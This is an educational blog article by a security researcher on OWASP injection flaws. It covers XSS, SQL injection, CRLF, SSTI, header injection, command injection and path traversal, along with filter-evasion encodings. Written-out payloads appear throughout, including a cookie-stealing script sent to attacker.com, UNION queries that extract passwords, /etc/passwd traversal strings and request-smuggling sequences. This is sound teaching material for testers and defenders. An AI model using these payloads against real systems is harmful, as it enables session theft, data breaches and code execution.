Andrew Pratt
Security Researcher

Breaking Down the OWASP Top 10: Injection

Injection vulnerabilities

Injection attacks represent a class of vulnerabilities that occur when user input is processed by a web application in the absence of security measures such as input validation, sanitization, and escaping. These vulnerabilities can lead to unauthorized access to data or command/code execution on the targeted system.

The injection classification is broad in scope and includes attack vectors such as:

  • cross-site scripting (XSS)

  • SQL injection (SQLi)

  • carriage return/line feed injection (CRLF)

  • server-side template injection (SSTI)

  • header injection

  • command injection

  • directory traversal

Cross-Site Scripting (XSS)

Cross-site scripting is a type of injection attack in which a malicious attacker is able to supply arbitrary client-side code that is executed by a web browser in the context of the vulnerable application. XSS vulnerabilities can result in session tokens or sensitive data being stolen. There are three different types of XSS attacks:

Reflected XSS

In a reflected cross-site scripting attack, malicious input is "reflected" from the server and executed in the response. An attacker can exploit this by sending a victim a malicious link containing the payload. When the victim clicks the link, the code runs in their browser.

For example, consider a web application that offers search functionality. In this scenario:

The frontend has a search bar that takes user input:

<form action="/" method="GET">
  <input type=text placeholder="Search here…" name="userInput" value="">
  <input id="button" type="submit" value="Search"
</form>

As the GET method is used, upon form submission, user input will be sent via the userInput query parameter:

https://example.com/index.php?userInput=XSS

On the backend, the PHP code that handles the input is:

<?php
 echo "Search results for: " . $_GET['userInput'];
?>

Once processed, the following response would “reflect” the search term and display:

Search results for: XSS

Under certain vulnerable conditions, this could be exploited to obtain a victim user’s session cookie:

https://example.com/index.php?userInput=<script>fetch(`http://attacker.com:80?cookie=${btoa(document.cookie)}`)</script>

Stored XSS

In a stored cross-site scripting attack, the supplied malicious payload is “stored” by the web application and delivered to anyone who subsequently visits the affected web page. This vulnerability is much more severe than reflected XSS as it does not require tricking the user into navigating to a malicious link. If the affected web page receives a large amount of traffic, stored XSS can exploit a massive number of users as the payload is being served by the web application itself.

For example, imagine a web application that includes a support forum where users can converse with each other via comment threads. In this scenario:

Comments are made through form submissions that generate POST requests:

POST /support/comment HTTP/1.1
Host: example.com
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Connection: close
username=attacker&email=attacker%40example.com&comment
=%3Cimg%20src%20onerror%3Dalert%28%27XSS%27%29%3E

This payload would result in a comment containing a broken image due to no source URL being provided. The onerror event handler will execute since the image will fail to load and call the alert('XSS') function which will trigger an alert box in the victim’s browser.

Document Object Model (DOM) XSS

In a DOM XSS attack, the vulnerability occurs on the client side as the browser’s representation of the webpage is altered.

For example, the JavaScript window.location.search property accesses the query string of the current URL. Since query parameters can be tampered with, they are considered to be a source. If the query is passed to a sink such as document.write(), the rendered page could be sabotaged. In this scenario, the JavaScript of the web page will keep track of a user’s search history by appending their search input to an image source. When the server receives the browser’s request for the image, the constructed source URL is added as an entry to the server logs.

<script>
function searchHistory(userInput) {
  document.write(
    '<img src="/resources/images/history.gif?searches=' + userInput + '">'
  );
}
var userInput = new URLSearchParams(window.location.search).get("search");
if (userInput) {
  searchHistory(userInput);
}
</script>

The URL generated after searching for “XSS” is:

https://example.com/?search=XSS

The searchHistory function takes the userInput argument. This argument is created using a new URLSearchParams class object with the window.location.search source as its constructor. The get method is then used to access the value of the search query parameter in the URL. If there is a value to this query parameter, it is appended to the image source URL using document.write.

By escaping the src attribute, an additional event handler attribute can be added with a payload such as:

escape" onload="alert('XSS')

SQL Injection

The structured query language (SQL) is the language used for storing, manipulating, and retrieving data in relational databases. In a SQLi attack, modifications are made to database query statements in order to extract, update, add, or delete additional information.

For example, consider a web application that provides news articles, and the articles can be listed by category:

https://example.com/articles?category=security

This generates the following database query statement:

SELECT * FROM articles WHERE category = 'security'

To test if the query is vulnerable to manipulation, an attacker could submit the following payload that will add a time delay to the statement:

' WAITFOR DELAY '0:0:10'#

This would result in the following modified query to the database:

SELECT * FROM articles WHERE category = 'security' WAITFOR DELAY '0:0:10'#'

In this modified query, the first ' character of the payload closes the security string value, instructs the system to wait 10 seconds before returning the database information, and handles the original ' character by using the SQL comment syntax of # to comment it out. If the response takes ~10 seconds , this indicates that the query is vulnerable to SQLi.

By using the UNION clause, an additional query can be appended to the statement:

SELECT * FROM articles WHERE category = 'security' UNION

SELECT username, password FROM users#

For this attack to work, both queries must return data from the same number of columns, and the data types must also be the same. If both the articles and users tables satisfy these conditions, the payload would be successful, and the usernames and passwords of all the accounts in the users table would be returned along with all the security-related articles.

To determine the number of columns in a table, an attacker can use the ORDER BY or UNION SELECT clauses:

SELECT * FROM articles WHERE category = 'security' ORDER BY 1#'

SELECT * FROM articles WHERE category = 'security' UNION SELECT NULL#'

For both statements, the numerical value or instances of NULL are incremented until a 200 status code response is received. Due to both tables having two columns each, the queries that would receive a successful response would include ORDER BY 2 and UNION SELECT NULL,NULL. Once the number of columns is enumerated, the data type they contain can be discovered by modifying the UNION SELECT query to include the data type in question:

SELECT * FROM articles WHERE category = 'security' UNION

SELECT 'a',NULL#'

SELECT * FROM articles WHERE category = 'security' UNION

SELECT NULL,'a'#'

By using the string of 'a' you can test if each column holds string data or not. If an error is returned, that discloses that the column does not hold string type data.

CRLF Injection

In order to specify where a line ends and a new line begins, web servers and browsers use carriage return (%0d) and line feed (%0a) characters. If an application is vulnerable, this HTTP special character sequence can be used to inject HTTP lines and headers to carry out attacks such as redirects, XSS via response splitting, XSS via creating two responses, request smuggling, and response queue poisoning.

CRLF redirects

By injecting a location header, a victim user can be redirected to an arbitrary domain that could host malicious content.

GET /%0d%0aLocation:%20http://attacker.com HTTP/1.1

CRLF XSS via response splitting

If the value of a header set in a response contains user-supplied input, by supplying two CRLF injections, body data can be inserted.

http://example.com/?userInput=xss%0d%0a%0d%0a<script>alert()</script>

CRLF XSS via creating two responses

By injecting a Content-Length header with a value of zero and then creating an entire valid second response, a payload can be inserted.

http://example.com/index.php?page=%0d%0aContent-Length:%20-%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3cscript%3ealert()%3c/script%3e

CRLF HTTP request smuggling

If the web application uses a load balancer or reverse proxy, under certain conditions the backend server may interpret a single request as two separate requests. This situation can arise when there is a mismatch between how the intermediate server and backend server handle the Content-Length and Transfer-Encoding: chunked headers. This can lead to bypass vulnerabilities because the two do not agree on where a request ends and another begins.

GET /%20HTTP/1.1%0d%0aHost:%20example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

CRLF response queue poisoning

The pairing of responses to their appropriate requests can be offset by using CRLF injection to create the start of a request that will be held in a processing queue by the backend until it receives a subsequent victim request that will complete it. By injecting an arbitrary header that will catch the request line of the following request, the awaiting smuggled request will become valid and processed.

GET /%20HTTP/1.1%0d%0aHost:%20example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aRQP:%20x HTTP/1.1

SSTI

Server-side template injection attacks exploit pre-designed web page layouts known as templates. Vulnerabilities can arise if user input is concatenated into a template rather than being passed as data. Templates allow for input to be converted into HTML content using what are referred to as “expressions”. The proper syntax of these expressions varies by the template engine being used.

If verbose error messages are returned when invalid expression syntax is supplied and these messages disclose the template engine and/or version in use, the associated documentation can be read, and exploitative payloads can be written.

A general payload that can be used to trigger an error is:

${{<%[%'"}}%\

In certain cases, by supplying the correct expression syntax for evaluating mathematical equations, the template engine being used can be gleaned. If the web page is using the Freemarker engine and user input is reflected on the page, ${7*7} could be supplied and will output 49.

For example, the Embedded Ruby (ERB) 2.7.0 template engine is vulnerable to external command execution:

GET /?query=%20system("whoami")%20%>

Header Injection

Since HTTP headers can be modified by users, they can serve as potential entry points to vulnerabilities. Exploitation of web applications that are vulnerable to header injection can result in attacks such as authentication/authorization bypasses, routing-based SSRF, and web cache poisoning.

Header injection authentication/authorization bypass

By supplying a localhost value to the host header, a system may interpret the request as one that was issued from itself. If the server uses any custom headers that identify the request origin, and overwrite the HTTP method, or requested path – these can also be vulnerable to attacks that allow for the bypassing of authentication or authorization security mechanisms.

Host: localhost
Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-HTTP-Method-Override: PUT
X-Rewrite-URL: /administrator/console

Header injection routing-based SSRF

If a server can be induced to interact with an attacker-controlled server by supplying the associated domain name or IP address as the value of the host header, it is possible this could be used to make the vulnerable server issue requests to hosts within the internal network. By fuzzing internal IP addresses and then fuzzing for directories and file names on discovered hosts, unauthorized access to resources can be accomplished.

Host: 172.16.0.16

Header injection web cache poisoning

Deployments of content delivery networks (CDNs) are used in order to reduce the workload that an origin server is subjected to. By caching static content on CDNs, static content can be served by servers distributed across different regions. Besides offloading the processing work required by the origin server, CDNs also provide performance benefits as they reduce the roundtrip time on resource traffic. When these intermediate caching servers receive a request, they must determine if they have the stored content requested. To do so, what are known as “cache keys” are utilized. The “keyed” components of a request are typically the request line and host header. Any components that are not used are referred to as “unkeyed” components. If an attacker is able to cache a response to a request that contains a malicious payload that will be served to other users, this can lead to severe consequences.

For example, some websites generate dynamic URLs for resource imports. The value of headers such as X-Forwarded-Host can be used to construct these source URLs. If the header is unkeyed but the request line and host header are, an attacker could create a malicious file to be imported and the cached response would distribute this file to anyone who visits the same keyed request for the duration of the cached response.

GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com

In this scenario, the domain value of the X-Forwarded-Host header is used as the script source with an appended path and filename:

HTTP/1.1 200 OK
--snip–
<script src="https://attacker.com/static/analytics.js"></script>

By creating a malicious JavaScript file named analytics.js within a directory named static on the attacker-controlled server, an attacker could have the CDN server spread their payload to anyone who visits the home page of example.com.

Command Injection

In a command injection attack, attackers can execute operating system commands on a server via user supplied input. These vulnerabilities arise when user input is directly handled by the shell of the system. This can be accomplished by directly injecting system commands into vulnerable components or by concatenating additional commands using valid syntax.

In general, the following command operators can be used for any language, framework, or backend used by a web application:

Execute both commands:
ls||id;

Execute both commands:
ls|id;

Execute both commands:
ls %0a id

Execute second command if the first command executes:
ls&&id; 

Execute both commands, but only receive the output of the second:
ls&id;

While the following operators are Unix specific:

`ls`
$(ls)
ls; id

When accounting for whitespace, literal whitespace characters can prove to be successful, but if the use of them is blacklisted, the following characters may bypass the restriction:

Tab character, valid for both Windows and Linux operating systems:
%09 

Valid for Linux operating systems:
${IFS}
{ls,id}
+

Similar to SQLi, time delays can be introduced in order to verify that the system is vulnerable to exploitation:

| ping -i 10 127.0.0.1 |

If the response takes ~10 seconds to arrive, this indicates that the query is vulnerable to command injection.

Directory Traversal/Local File Inclusion

In a directory traversal/local file inclusion attack, attackers can access restricted directories and read arbitrary files on the vulnerable server. Without proper protections, any file references can be replaced either directly by supplying an absolute path or indirectly by supplying a relative path.

For example, imagine a web application that uses a PHP script in order to load static content in the webpage based on the language of the end-user:

GET /index.php?language=EN HTTP/1.1

Without sufficient permission settings, sensitive files on the server such as /etc/passwd may be read:

GET /index.php?language=/etc/passwd HTTP/1.1
GET /index.php?language=../../../../../etc/passwd HTTP/1.1

Injection Payload Obfuscation

Defenses against injection attacks will look for suspicious user input. For example, it is not normal for a user to submit HTML tags, JavaScript, or SQL statements when supplying their name in an account registration form.

Certain security measures that provide protection against injection payloads can be bypassed by encoding or accounting for what is being checked or removed. Obfuscation techniques can also be combined in order to increase the chances of successful processing.

Double URL-encoding an XSS payload

In the presence of intermediate servers that forward requests to the backend and perform one round of URL-decoding on input, it may be possible to bypass malicious payload identification measures by simply double URL-encoding the payload.

http://website.com/?search=%253cimg%2520src%253dx%2520onerror%253d%2522alert()%2522%253e

HTML/Decimal/Unicode encoding an XSS payload in an HTML form

If defenses match against the keyword “alert”, an encoded equivalent of the letter ‘a’ could be used as it will be interpreted as the literal character in an HTML document.

<img src="x" onerror="&#x61;lert()">
<img src="x" onerror="&#0000061;lert()">
<img src="x" onerror="\u0061;lert()">

Obfuscation using the SQL CHAR() function in an SQLi payload

The CHAR() function that is native to SQL accepts a single decimal or hex code character reference and returns the associated character. If defenses are matching against the keyword “SELECT” this function can be used to bypass this filtering.

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
  CHAR(0x53)+CHAR(0x45)+CHAR(0x4c)+CHAR(0x45)+CHAR(0x43)+CHAR(0x54)

URL-encoded CRLF character sequence

https://example.com/%250d%250aHeader:%20Value

Command obfuscation

Certain characters can be inserted into commands and will not interfere with correct interpretation.

When obfuscating commands with either single quote or double quote characters, the number of quotes used must be an even number, and the two cannot be mixed together:

w'h'o'a'm'i'

w"h"o"a"m"i"

Backslash characters can also be used to obfuscate commands. The number of these characters used does not have to be even like is required for single and double quote characters:

w\ho\am\i

The $ and @ characters can also be used:

who$@ami

While Linux commands are case-sensitive, Windows commands are not. A bypass could be achieved simply by altering the case of certain characters:

wHOaMi

Directory traversal obfuscation

If defenses match against travel sequences (../ or ..\) and these are stripped out of input, you can simply surround them in additional characters that will be joined together to recreate the sequence once the input is stripped:

GET /index.php?filename=....//....//....//etc/passwd HTTP/1.1

Including the web root can also result in a bypass:

GET /index.php?filename=/var/www/images....//....//....//etc/passwd HTTP/1.1

If an extension is expected, try using a null byte to terminate the path: 

GET /index.php?image=....//....//....//etc/passwd%00.png HTTP/1.1

 Unicode normalization

Certain unicode characters can end up being translated into interpretable variants, which can result in bypassing defense measures. If user input is reflected in a web application, you can try submitting these characters and evaluating if this “normalization” takes place.

For example, if the application takes the Unicode code point U+0212A as an input value and reflects the ASCII letter ‘K’, this indicates that some normalization is taking place.

By supplying different Unicode characters, with the proper normalization, payloads could bypass matching rules. If, for instance, the fullwidth angle brackets are converted into normal angle brackets, a script tag could be input using:

%EF%BC%9Cscript%EF%BC%9E

Conclusion

As you have learned, injection vulnerabilities can lead to serious consequences if exploited. Whether they arise due to insufficient or a complete lack of input validation, sanitization, and escaping – they can result in data breaches, data manipulation, account takeover, remote code execution, and poisoning attacks.

When assessing targets, ensure to probe any input fields for injection attacks. Defensive teams must protect against a wide variety of different characters and encodings. However, with some evaluation, there may be a payload that slips past defenses.

The 8th Annual Hacker-Powered Security Report

HPSR blog ad image